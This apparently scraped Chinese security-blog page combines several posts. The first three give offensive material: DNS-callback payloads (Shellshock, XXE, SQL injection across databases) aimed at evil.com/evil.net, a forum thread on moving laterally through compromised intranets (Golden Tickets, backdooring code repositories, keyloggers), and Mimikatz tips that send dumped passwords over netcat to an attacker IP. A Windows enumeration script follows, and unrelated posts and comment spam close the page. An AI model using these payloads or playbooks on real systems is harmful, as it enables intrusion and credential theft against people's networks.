- 发生在后台线程的Server端漏洞。比如在队列中的SQL注入查询，你不知道这个注入查询什么时候会被执行，也许payload会触发时间延迟，但是这个延迟仅影响后台线程，无法在前台被检测到。
- Blind漏洞，需要二次事件来触发。比如Blind XSS、二次SQL注入
- 不会造成响应不同的漏洞，并且这类漏洞不支持任何方法来触发时间延迟。如Blind XEE 和 XPath注入
为了能够检测到此类漏洞，我们需要一个能够促发callback的payload，callback能够从有漏洞的应用向攻击者控制的机器上发起连接，比如Shellshock的例子
() { :;}; echo 1 > /dev/udp/evil.com/53如果服务器存在Shellshock漏洞，evil.com的53端口就会受到一个UDP包。
通过触发callback的方法，我们不需要依赖应用的输出就可以来判断漏洞是否存在。
因为DNS查询几乎不会被防火墙拦截，因此非常适合作为触发callback。
Drops之前有人发过一篇DNS: More than just names介绍了如何利用DNS来攻击,有兴趣可以看一看
下面介绍一些不同漏洞类型下的DNS callback
XML漏洞
下面代码利用6种不同的XML漏洞来尝试触发callback(包含evil.net的url)
<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?> <!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [ <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a"> <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a"> %remote; ]> <root> <foo>&xxe;</foo> <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://xi.evil.net/" ></x> <y xmlns=http://a.b/ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://schemalocation.evil.net/a.xsd">a</y> </root>最后两个payload，利用了XInclude 和 schemaLocation，因为不需要完全控制XML文档，因此特别有效
SQL注入
Postgresql
利用copy 命令，可以调用任意的shell命令(需要一定权限)
copy (select '') to program 'nslookup evil.net'
如果用ping命令在linux下会阻塞执行的线程，因此这里用nslookup
MySQL 和 SQLite3
Windows下，大多数文件系统函数都支持UNC path，UNC path能够引用远程server的资源，因此能触发DNS查询。也就是说Windows下几乎所有的I/O函数都能够触发callback
SQLite3
;attach database '//evil.net/z' as 'z'-- - (SELECT load_extension('//foo'))第一种需要支持batched query，第二种需要启用load_extension 函数
MySQL
LOAD_FILE('\\\\evil.net\\foo') SELECT … INTO OUTFILE '\\\\evil.net\foo'MSSQL
SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a', 'select 1 from dual')(需要 'ad hoc distributed queries')
EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'
(需要 sysadmin 权限)
BULK INSERT mytable FROM '\\\\evil.net$file'
(需要 bulk insert privileges)
EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo'
(最理想的 – 需要 sysadmin 权限 ，DNS 查询后会检查权限)
Oracle SQL
Oracle提供很多方法来触发callback，如UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…，但是都需要各种权限。
但是可以利用内置的XML解析函数，低权限用户也可以调用。最近Oracle也被发现存在XXE注入漏洞，因此我们可以利用XXE来触发callback
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')Write-based callbacks
因为非WINDOWS系统不支持UNC paths，我们可以利用写文件函数来触发callback
最直接的方式就是写一个web shell，前提是需要知道webroot路径
修改mailspools / maildrops，控制邮件发送，这个需要root权限，没什么用
利用mysql函数来修改配置文件，将修改 bind-address成我们的hostname，然后在dns响应返回0.0.0.0，让mysql绑定所以可用接口
shell命令注入和 XSS部分大家参考下原文
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-27 09:57:09
五道口杀气 | 2015-09-16 16:36
在对一个目标进行渗透测试时，找到了一台服务器的漏洞获取相关权限进入内网，在发现该服务器上并没有什么敏感数据，必须要对其内网进行下一步的渗透，你会怎么收集信息呢？
1 扫描内网段内的80端口看title。
2 扫描内网段内的各种服务（ssh、ftp、snmp、mysql、telnet等）弱口令
3 ？？？
各位在进行内网测试的时候是如何进行第一步收集信息的呢，如果网段特别大的话，从哪里收集开始呢？
各种吐槽：
1#
mickey | 2015-09-16 16:41
看日志（web/安全日志），看内网谁和这台机器联系。如果有web，根据日志，先探针，然后定向挂马。安全日志链接过来的，原来有一个3389登录过来，然后如果管理员挂载了系统磁盘（通常c）,写启动项。下次上线。 一般都先做这些，然后才扫描。
2#
livers (如梦似幻) | 2015-09-16 17:37
按任务打卡，
网段大的话 一般在AD域里面，基本上域一套命令 来收集
net group “domain admins” /domain
dsquery server/computer/user/contact/group/ou/site 等。
基本上获取到大部分域的信息
接下来搞域控制器
可以爆破 可以嗅探抓NT-hash (或者猥琐一点 社工下域控管理员来链接下机器)
NT-hash拿到可以爆破 生成一般TGT
也可以使用CVE-2014-6324 生成Golden Ticket
这时可以横着爬了
3#
三好学生 (：) | 2015-09-16 17:52
@livers 也可以试试kerberoast:)
https://github.com/nidem/kerberoast
4#
xsser (十根阳具有长短!!) | 2015-09-16 18:06
提交乌云
5#
随风的风 (静，已修身) | 2015-09-16 18:14
提交乌云
6#
牛 小 帅 (心若没有栖息的地方走到哪里都是在流浪！) | 2015-09-16 18:39
@xsser 管理员乱删我帖子 我就发个解密贴就删了 我进不来社区 可恶
7#
phith0n (我也不会难过 你不要小看我) | 2015-09-16 22:33
我用我为数不多的经验想一哈……
我觉得，一个机子如果是“真的”在内网里的话，很难一点东西也挖掘不出来。
为什么“真的”打引号，因为有些机子也是内网地址，比如阿里云，但实际上这台机子是独立的，和内网内的其他机器没有任何关系。
如果是在企业内网的话，往往还是能挖出一些信息的，先确定这台机子是做啥的：web、数据库、文件、备份、测试。。。
然后就根据具体用途挖掘具体信息：
比如看各种文件：
/etc/hosts （查找内网地址最常见的地方） nginx/apache/php/fastcgi（配置文件，配置文件里有包含的，一样一个一个看） redis/mysql/mongod/memcached （不光看配置文件，还要连进去看内容，挖掘敏感信息，如密码、邮箱等） rsyncd （如果内网有部署rsync，看看1.是否无密码 2.限制的IP如何 3.什么权限 4.是否允许chdir） /tmp/ （各种宝藏聚集地，比如可以挖掘一下session里有保存啥） /etc/init.d/ /etc/systemd/ /etc/passwd /etc/crontab 有root权限，就看看~/.bash_histoty、~/crontab、~/.bashrc、~/.ssh/known_hosts、~/.dbshell（这个是mongodb的记录）、~/.mysql_history。。。太多了，不一一列举。 各种源（yum、apt-get、pip、composer、gem、npm）配置文件（可能是内网的源） */.git/config （多看看有.git的目录，svn同理，有时候找得到内网的gitlab） php扩展目录（有时候能找到一些有趣的扩展，不多说） vpn、shadowsocks等客户端配置文件：国内企业服务器要翻墙也比较常见 zabbix配置文件 /etc/mail.rc
除了看敏感文件，网络拓扑也看看，比如ifconfig、traceroute、nslookup……
还有进程ps aux
还有登录记录last，看看哪些IP登过，很可能也是内网机器
找路由设备什么的。
找这些敏感文件，运气好能找到一些一看就是通用密码、规律密码之类的密码，但毕竟是可遇不可求的。主要目的是找内网里功能机器：
更新源、git、svn，这类机器如果拿下来，影响大量内网机器。在内网内其他机器更新软件、拉代码的时候你就不经意间搞下他的机器了。 fastcgi（对应9000端口）：一般会放源码，拿下来了以后后续挖漏洞，后续的渗透方便的多 rsyncd（对应端口873）：做备份或负债均衡，拿下来一样能搞到很多源码（通过高权限rsyncd可以直接提权） mysql/mongod/mssql/oracle...：数据库服务器，意义不言而喻，拿得到很多密码，渗透就方便多了（关键是怎么拿？只能看运气了，通用密码、内网的未授权访问等） redis/memcached：可能放一些session，也能对web渗透有一定帮助 ftp/nfs/samba：文件共享服务器，有时候会放一些软件，特别是公司内部员工的软件。拿下这些服务器，打入办公网络 ldap：很可能全内网权限管理的节点就在这里，就算只拿下一个员工的ldap用户权限，也是一个大突破 ……
太多了一时很难列全，主要是这些。
找到这些功能性机器，再测试未授权访问、弱密码、通用密码，通用漏洞等，拿下这些机器，再收集信息继续搞。
我进内网其实第一个目的是拿到尽量多的源码，一是拿源码往往比留后门要好得多，因为源码其实就是最大也是最安全的后门。以后，想起来的时候随便挖一个洞，又进到内网里了。
说到底还是尽量翻出更多的敏感信息，再利用各种漏洞拿下内网内的服务器。我觉得扫描是万不得已的时候我才会做的事，因为就很多内网的安全性来看，还没有到只能扫描那一步。
说几个例子：
1.通过某ldap拿下某个开发的机子的root，通过这个人的public key拿下很多内网机器
2.通过rsyncd拿下所有负债均衡的web服务器webshell
3.拿下svn，修改代码，等待部署，拿下主站
……
8#
phith0n (我也不会难过 你不要小看我) | 2015-09-16 22:37
唉，抛砖引玉。涉及到windows和域的，不懂等待大家补充
9#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-09-16 23:15
7楼P牛高能
10#
redrain有节操 (快来和我滚床单) | 2015-09-16 23:17
@mickey mickey老师说的好，不过既然都撕开边界了，那就从本台机器开始入手，看accesslog，history，通过accesslog确定内网访问记录，通过history还原用户操作，找到关联机器，看hosts确定内部业务，看其他log，确定用户个人办公网段，或其他业务段，由以上这些行为基本可以模糊确定这个内网的业务段，办公段之类，看本地进程和端口，确定本地开启的服务，根据服务寻找敏感信息，有链接串的，拿下来，有用户备忘的，拿下来，做针对字典，以备之后渗透
确定了网段后，即可开始针对性探测，为了防止内网流量监控或者行为监控，最好做半开放扫描，或者自行判断当前机器探测行为后是否有可能触发监控，比如一些边缘功能机器，不可能主动访问内部业务的，就最好轻一些
如果目标很重要，很大，需要渗透的时候细致一些，最好代理或者反弹时对流量加密，混淆，尽量避免机器上的文件落写，尽量避免不必要的权限提升
这些都是我瞎说的，主要都是靠mickey老师教导我
11#
K4r1iNNg (来来来不要跑哦) | 2015-09-16 23:34
看到好多大牛思路 马克一下
12#
哲璇 (<小学结业生>) | 2015-09-17 09:16
7# 内网渗透总结
13#
debug | 2015-09-17 09:26
进内网的目标不同 手法也略有不同
信息收集:
网络信息:ipconfig arp -a "query user" "net share" nslookup 等等
密码:浏览器 sam navicat 等等配置信息
1.搞定目标站
在内网往往最重要的是信息收集,你要进去搞清楚大概网络的拓扑是怎么样的。 通过你已拿到的这个机器，在这个机器进行翻阅配置文件，如有dsn信息 那么你可以在内网试试dns域传送 这时候可以很快的找到目标网站的主站，看下是否在同一网段，开放的端口，有没有可能存在漏洞的端口 内网杀手 fastcgi java debug rmi ,假设这太官网你搞不定,那么去渗透其他的机器。
2.获取更多的员工权限
找到内网应用,如erp, OA等系统，可以搞下OA等系统之后定向挂马，先挂js探针，知道目标机器浏览器 等软件版本信息，你手里拿的0day针对于那些，之后进行挂马。
切记：不要arp 不要arp 不要arp 重要的事情说三遍，哪怕dhcp也可以~~~
自己去实战把，多动手， 不动手永远不知道你遇到的内网多么的破~ 以现在很多企业的运维的人员懒散程度，你用不到去拼技术，密码通杀的太多。
14#
L.N. (.........................) | 2015-09-17 12:46
@mickey和@redrain有节操 老师告诉我，搞内网记住3个字“稳准狠”：
稳：尽量做静态分析（内网 扫嗅爆 尽量避开内网防护软件）
准：运维机、域控机、存储机（最好搞进运维ip段）
狠：该脱的别犹豫
15#
冷冷的夜 (1) | 2015-09-17 15:48
1.判断机器属于什么位置》DMZ，IDC,还是其他
2.看看能不能通过这台机器干了网管
3.然后开始扫描、探测，要注意，机器重要程度、和内网的安全策略，决定你扫描的方式和速度
16#
DC3 | 2015-09-17 23:50
我用mimikatz直接拿到管理密码。。然后内网横着走。有些域环境管理都用domain admins的账户登陆过，所以应该有记录，然后登陆DC，继续横着走
17#
fuckadmin | 2015-09-18 15:24
@livers
1.不建议一进入内网就进行大规模的密码爆破和IP、端口扫描，极易引起IDS的报警。
2.可能个人习惯不同，我比较同意phith0n老师，先进行IP定位、如在测试网段或是办公网段等，再配合查看各种配置文件、执行命令返回的信息进行初步的信息收集。
3.通过查看配置文件，收集管理员密码配置规律、尝试进行密码结合。
18#
我了个去 | 2015-09-18 15:59
补充几个：
x-sniffer 被动嗅探同交换下的
net view 看共享
装keylogger
装s5代理
耐心＋运气
19#
mramydnei | 2015-09-18 16:38
Ex:find / -name "*.conf" 2>&1|xargs grep -s -i 'password'
20#
HelloKitty | 2015-09-18 17:08
先查看内网内在线主机：
for /L %i in (1,1,254) do ping -n 1 10.0.0.%i >>d:\p.txt
有的主机不一定能够回应ICMP包，但是一定会回应ARP包，因此执行完上述命令后第一时间使用arp -a命令定位存活主机。
再使用s扫描器，扫描这些主机的开放端口。
如果是SYSTEM权限，抓一下本地或者域哈希，然后迭代攻击。
其次是要确定服务器角色，比如目标是A，内网IP未知，但是你拿下了B，内网IP已知了。那如果上面的方法还不能确定A在内网哪个地方，我一般是用hijack轻量级的抓包分析，主要分析HTTP的host。
21#
redrain有节操 (快来和我滚床单) | 2015-09-18 18:42
@L.N. 还是ln老师厉害！学习了～
22#
x0ers (第一个知道牛奶能喝的人都对奶牛做了些什么？) | 2015-09-18 19:42
搞内网就是搞管理员
23#
老实先生 | 2015-09-20 00:34
都是技术啊 留着以后看
24#
abcdlzy | 2015-09-20 11:33
千万千万要限制扫描的线程数。。。。不说了，撸出血了。。。
25#
春秋 | 2015-09-23 21:35
。
留言评论（旧系统）：
诚心找个师傅 @ 2015-10-07 09:08:45
痴迷黑客！求带入门！本人QQ312283874！
本站回复：
谨防上当受骗！ -_-!!!
黑暗中的学习者 @ 2015-10-07 09:13:30
我想找个师傅！不求多牛只求带入门介绍入门方法也可以！不会经常打搅！希望能够实现！本人QQ312283874
本站回复：
谨防上当受骗！ -_-!!!
学习者 @ 2015-10-07 09:15:13
我想找个师傅！不求多牛只求带入门介绍入门方法也可以！不会经常打搅！希望能够实现！本人QQ312283874
本站回复：
谨防上当受骗！ -_-!!!
佚名 @ 2015-10-08 06:42:36
可以吗？求教
本站回复：
-_-!!!
佚名 @ 2015-10-08 07:30:20
核总，跪求指导本人天天看C+Primer+Plus（第五版）中文版 看了各种TED演讲！各种论坛了解！求指引我想要专攻渗透！
本站回复：
-_-!!!
呵呵 @ 2015-10-14 00:43:24
ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎
本站回复：
ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎
佚名 @ 2015-10-15 12:09:08
大神讨厌你不交我！
本站回复：
-_-!!!
佚名 @ 2015-12-04 09:31:37
请在这里填写留言内容，最长不超过 1000 字。
本站回复：
[暂无回复]
佚名 @ 2015-12-04 09:34:32
求带求带~邮箱content@gov.cn
本站回复：
-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-27 09:54:46
Mimikatz 使用Tips
Evi1cg (感觉自己萌萌哒) | 2015-09-17 16:42
1.记录 Mimikatz输出：
C:\>mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
2.将输出导入到本地文件：
C:\>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
3.将输出传输到远程机器：
Attacker执行:
E:\>nc -lvp 4444
Victim执行:
C:\>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444
192.168.52.1 为Attacker IP
4.通过nc远程执行Mimikatz：
Victim执行:
C:\>nc -lvp 443
Attacker执行:
E:\>nc.exe -vv 192.168.52.128 443 -e mimikatz.exe
192.168.52.128 为Victim IP
留言评论（旧系统）：
佚名 @ 2016-02-28 00:32:01
非常有帮助，
本站回复：
-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-27 09:51:52
@echo off echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo System Information >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt systeminfo | findstr /B /C:"OS" > System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Hostname >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt hostname >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Users>> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt net users >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Route table >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt route print >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Netstat INformation>> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt netstat -ano >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Firewall State >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt netsh firewall show state >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Firewall configuration >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt netsh firewall show config >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Scheduled tasks >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt schtasks /query /fo LIST /v >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo tasklist >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt tasklist /SVC >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo net start >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt net start >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo driverquery >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt DRIVERQUERY >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo Wmic hotfix >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt wmic qfe get Caption,Description,HotFixID,InstalledOn >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo reg queries - elavated >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo reg queries - elavated >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt sc qc Spooler >> System_Details.txt accesschk.exe -ucqv Spooler >> System_Details.txt accesschk.exe -uwcqv "Authenticated Users" * >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo upnhosts - elavated >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt sc qc upnphost >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt echo End of Script >> System_Details.txt echo --------------------------------------------------------------------------------------------------- >> System_Details.txt
留言评论（旧系统）：
xx @ 2015-09-27 12:36:08
我擦，都扒光了
本站回复：
-_-!!!
佚名 @ 2015-10-09 20:17:15
给力呀..
本站回复：
-_-!!!
路人2016 @ 2016-02-16 09:16:24
大神 这是什么语言呀 怎么用呀 好高深
本站回复：
百度：批处理脚本
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-24 17:14:30
关键词：瞬间，行车记录仪，一年中，拍到的，各种，惊险，奇趣，突然变道，高速路，马路杀手
某行车记录仪
2014.09 - 2015.09
一年中拍到的各种惊险奇趣瞬间
包含的内容有：
1、前车高速错过出口，急刹变道，险撞。
2、雨夜无路灯的十字路口，险些迎面相撞。
3、半夜机场高速快车道逆行摩托，作死狂魔……
4、……
感谢观赏！
联系方式：
web: https://lcx.cc/
mail: root@lcx.cc
珍惜生命，谨慎驾驶！
1080P高清原画下载：
某行车记录仪一年中拍到的各种惊险奇趣瞬间.mp4，497 MB (521,178,826 字节)。
相关内容：
留言评论（旧系统）：
佚名 @ 2015-09-24 22:07:07
卧槽，高速公路的那个是找死啊。
本站回复：
+1
佚名 @ 2015-09-25 09:04:13
其实这辆车就是核总的。。某个镜头之前曝过。。。
本站回复：
你赢了~ -_-!!!
尘缘 @ 2015-09-27 09:52:49
3:31分那个地方闪电真666 。别的没遇到过 就是逆行最膈应人 每次上下班我小区附近特备多逆行的大妈 附近又是高峰期的路段 真担心她们.
本站回复：
+1，珍爱生命，谨慎驾驶~
卑鄙 @ 2015-10-03 00:37:00
- -核总你驾照花钱买的吧？主路上你贴边走，单双小道你反而又贴中间去了- - 右转车道你非要直行贴边- -、、 以后上路看到你的车，要躲远了点了。。
本站回复：
科目1-4满分，路过……
xxoo @ 2015-10-15 10:45:54
原來核總在西安
本站回复：
欢迎来西安~
逸笙 @ 2015-10-30 08:36:56
开车好危险，上次就差点跟人家顶上
本站回复：
珍惜生命，谨慎驾驶！
佚名 @ 2015-11-04 14:13:48
那个从旁边蹿出来的环卫车真脑残，还有左拐不看路的摩托。 不过核总你开的我脚着也有点小毛病吧 - -，第二个错过高速口的那个，前车你看他踩刹车了，你也就不能踩油门了哦。 顶！d=====(￣▽￣*)b 还是慢点驾驶好 核总声音真萌，完全消除了我对核总是山东大汉型的认识 = = 那么问题来了：2分35秒时，飞出的那个轮胎到底是谁的？
本站回复：
第二个错过高速口的那个，当时没有注意前方，在注意右后侧。 那是路过的坦克掉的轮胎……
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-18 17:07:35
那年我一个人来到北京，带上父亲跟我说的一句话：多交朋友。
于是，上大学时，我酷爱社交，参加了三个社团，只要有活动，都会去打个酱油。我乐意留别人的电话，曾几何时，我把留到别人电话数量当成炫耀的资本。
我待人热情，对人诚恳，却总是被忽略。他们只有在打杂的时候，才会想到这个社团还有一个我。那段时间，虽然很多场合都有我的存在，但永远不是核心，别人也不太愿意跟我交朋友。
可活动后，留下打扫卫生的，永远是我。
一次，认识了学校的一个老师，那年我还是个学生，屁颠屁颠的大半夜去他办公室，只是因为他给我说了，晚上他一个人在办公室值班。
我听他跟我聊了很久，没有深聊，只是表面肤浅的交流了十几分钟，他告诉我，他是负责学校入党工作的。
我听的很认真，临走前留下了他的电话，还送了带来了的两袋水果。
后来我入党写申请书，那时不知道可以在网上下模板，傻里吧唧的发短信找他帮忙，他却冷冷的回了一条：我没空。
其实我在很多场合都遇到过了这样的拒绝，你以为你和对方留了电话存了微信，应该彼此能帮忙，却忘记了一件很重要的事情：只有关系平等，才能互相帮助。
这个故事没完。
几年后，我已经是一名英语老师，深夜接到了一个电话，正是几年前的那位老师。
他笑嘻嘻的跟我寒暄了两句，很快就聊到了正题：竟然是找我介绍靠谱的英语老师，希望私下能给他的孩子上一节课。
那段时间，我每天都在上课，白天劳累困顿，晚上晕头转向，加上想到过去的种种，于是我只是搪塞了，改天我看看，就匆匆挂了电话。
当然，我什么也没帮他。
后来我忽然想到这件事，为什么我没有帮他，或者说，很久以前，他为什么不肯帮助我。
答案很简单，除去彼此的感情，能让对方帮自己的根本条件，是你能提供等价的回报。换句话说，过去我是个学生，没法给他提供等价回报；而之后我不需要入党，他也没法给我提供等价回报。
而且，我们的感情基础是零。
事实很冷，但这是事实。
我们总是去参加社交，却不知道，很多社交其实并没有什么用，看似留了别人电话，却在需要帮助的时候，仅仅是白打了一个电话。
因为我们不够优秀。
很残忍，但谁愿意帮助一个不优秀的人呢。
曾有个朋友跟我说，我参加了不少社交，朋友也不少，为什么会越来越孤单，直到今天，很多事情都无人帮助我，难过。
我问她，社交场上，别人一般怎么介绍我。
她说，我的朋友，小白。
我说，一般怎么介绍那些优秀的人？
她说，独立撰稿人、主播、导演、教授... ...某某某。
我说，所以你懂了，如果你自己不强大，那些社交其实没有什么用，只有等价的交换，才能得到合理的帮助。
